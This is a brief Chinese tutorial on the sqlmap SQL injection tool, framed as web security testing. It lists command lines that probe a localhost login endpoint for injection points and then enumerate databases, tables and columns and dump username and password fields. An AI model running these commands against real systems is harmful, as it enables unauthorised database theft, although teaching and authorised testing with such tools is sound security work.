sqlmap是安全测试工具,通常用于对已知的http接口进行sql注入测试,一旦注入成功,可以获取到后台包括数据库表、用户信息、数据内容等多种敏感信息,对web漏洞防范有重要意义。
基本语法
1.先进行注入点探测,常规语法是:
python sqlmap.py –u [url]
说明:url 一般选择包括参数输入的链接。如果是get方法,就直接跟在url后面用?补充参数。如果是post方法,用--data=’xxx=xxx&yyy=yyy’格式发送。或者是--data=’{“xx”:”xxx”}’ json格式的数据。如果不是这两种常见方法,需要加参数 --method=put 或 --method=delete加以特别说明。如果是路径参数,就在参数位置写* ;如果需要加入header信息,需要加上参数--headers=’xx:xxx\nyy:yyy’ ,\n是多行,表示多个header项。
如:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’
python sqlmap.py --method=delete –u http://localhost:8080/users/uid/*
执行结果一般会显示是否有漏洞,包括几个注入点等等。
2.如果存在可注入点,接下来就可以进行获取数据的sql注入了。
比如查看有哪些数据库:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --dbs
查看当前数据库:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --current-db
查看当前用户:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --current-user
查看数据库中有哪些表:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname --table
查看表中有哪些字段:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname -T users --column
查看字段内容:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname -T users -C “username,password,usertype” --dump
这样一步一步下来把用户信息全得到了。其他数据也是如此,就是常说的被拖库了。
sqlmap功能及其强大,还包括多种用法,操作也相对复杂,具体可参考帮助文档。一般来说,如果很轻易就发现漏洞说明安全意识很差,接下来的操作也势如破竹。如果不是很快探测到漏洞说明防范措施还是有的。那么换别的用法恐怕也收获不大。